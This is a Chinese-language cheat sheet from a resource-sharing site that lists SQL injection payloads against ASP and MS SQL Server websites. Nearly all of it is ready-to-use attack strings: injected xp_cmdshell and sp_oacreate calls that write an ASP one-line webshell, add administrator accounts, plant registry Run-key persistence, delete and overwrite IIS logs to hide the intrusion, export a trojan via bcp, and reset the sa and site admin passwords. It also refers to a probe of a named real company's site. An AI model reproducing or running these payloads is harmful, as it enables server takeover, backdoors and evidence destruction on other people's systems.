ASP注入详细命令40条
1、 用^转义字符来写ASP(一句话木马)文件的方法:
? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell \’echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\\mu.asp\’;–
? echo ^<%execute^(request^("l"^)^)%^> >c:\\mu.asp
2、 显示SQL系统版本:
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,@@version)–
Microsoft VBScript 编译器错误 错误 \’800a03f6\’
缺少 \’End\’
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 \’80040e07\’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value \’Microsoft SQL Server 2000 – 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) \’ to a column of data type int.
/display.asp,行17
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用"in"关键字进行查询,例如"select * from mytable where id in(1)",括号中的值就是我们提交的数据,它的结果与使用"select * from mytable where id=1"的查询结果完全相同。所以访问页面的时候在URL后面加上") and 1=1 and 1 in(1"后原来的SQL语句就变成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。对了,它就是由于类似"select * from mytable where name in(\’firstsee\’)"的查询语句造成的。
4、 判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = \’X\’ AND name = \’xp_cmdshell\’)
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc \’xp_cmdshell\’,\’e:\\inetput\\web\\xplog70.dll\’;–
5、 向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\’,\’help1\’,\’REG_SZ\’,\’cmd.exe /c net user test ptlove /add\’
6、 查看当前的数据库名称:
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,db_name())–
Microsoft VBScript 编译器错误 错误 \’800a03f6\’
缺少 \’End\’
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 \’80040e07\’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value \’huidahouse\’ to a column of data type int.
/display.asp,行17
7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabases 列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录
8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate \’wscript.shell\’,@shell output
EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c dir c:\\>c:\\temp.txt\’,\’0\’,\’true\’
–注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output
EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’
–因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,\’Readline\’,@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
drop TABLE MYTMP
———-
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate \’wscript.shell\’,@shell output
EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll" "C:\\winnt\\system32\\inetsrv\\asp.dll">c:\\temp.txt\’,\’0\’,\’true\’
EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output
EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,\’Readline\’,@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll" "C:\\winnt\\system32\\inetsrv\\asp.dll">c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c cscript.exe E:\\bjeea.net.cn\\score\\fts\\images\\iis.vbs lh1 c:\\>c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三种执行CMD命令的方法:
先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell \’del C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log >c:\\temp.txt\’
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c del C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log >c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
? exec master..xp_regwrite \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Jet\\4.0\\Engines\’,\’SandBoxMode\’,\’REG_DWORD\’,1
注:
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切
? 这里仅给出sysadmin权限下使用的命令:
select * from openrowset(\’microsoft.jet.oledb.4.0\’,\’;database=c:\\winnt\\system32\\ias\\ias.mdb\’,\’select shell("cmd.exe /c net user admin admin1234 /add")\’)
? 建立链接数据库\’L0op8ack\’参考命令:
EXEC sp_addlinkedserver \’L0op8ack\’,\’OLE DB Provider for Jet\’,\’Microsoft.Jet.OLEDB.4.0\’,\’c:\\windows\\system32\\ias\\ias.mdb\’
? 如何使用链接数据库:
使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的
实用性不强,仅作为一个学习总结吧
大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:
? 新建链接服务器"L0op8ack":EXEC sp_addlinkedserver \’L0op8ack\’,\’JetOLEDB\’,\’Microsoft.Jet.OLEDB.4.0\’,\’c:\\winnt\\system32\\ias\\ias.mdb\’;–
? exec sp_addlinkedsrvlogin \’L0op8ack\’,\’false\’;–或
exec sp_addlinkedsrvlogin \’L0op8ack\’, \’false\’, NULL, \’test1\’, \’ptlove\’;–
? select * FROM OPENQUERY(L0op8ack, \’select shell("cmd.exe /c net user")\’);–
? exec sp_droplinkedsrvlogin \’L0op8ack\’,\’false\’;–
? exec sp_dropserver \’L0op8ack\’;–
再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell \’copy C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050716.log C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log>c:\\temp.txt\’
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c copy C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050716.log C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log>c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c net user>c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 用update来更新表中的数据:
<a href=\'<a href=\’HTTP://xxx.xxx.xxx/abc.asp?p=YY;update\’\’ target=\’_blank\’>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update\'</a> target=\’_blank\’><a href=\’HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a>\’ target=\’_blank\’>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a></a> upload.dbo.admin set pwd=\’a0b923820dcc509a\’ where username=\’www\’;–
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;
32位MD5值为: ,密码为
10、 利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:\\inetpub\\wwwroot\\runcommand.asp –c –S localhost –U sa –P upload(\’S\’参数为执行查询的服务器,\’U\’参数为用户名,\’P\’参数为密码,最终上传了一个runcommand.asp的木马)。
11、创建表、播入数据和读取数据的方法
? 创建表:
\’ and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))–
? 往表里播入数据:
\’ and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype=\’U\’ and status>0,@result output insert into cyfd (gyfd) values(@result);–
\’ and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread \’HKEY_LOCAL_MACHINE\’,\’SYSTEM\\CONTROLSet001\\Services\\W3SVC\\Parameters\\Virtual Roots\’, \’/\’ ,@result output insert into cyfd (gyfd) values(@result);–
? 从表里读取数据:
\’ and 1=(select count(*) from cyfd where gyfd >1)–
? 删除临时表:
\’;drop table cyfd;–
12、通过SQL语句直接更改sa的密码:
? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。
? 查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins
? 更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,\’新密码\’,\’sa\’
13、查询dvbbs库中所有的表名和表结构:
? select * from dvbbs.dbo.sysobjects where xtype=\’U\’ and status>0
? select * from dvbbs.dbo.syscolumns where id=1426104121
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » ASP注入详细命令40条
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html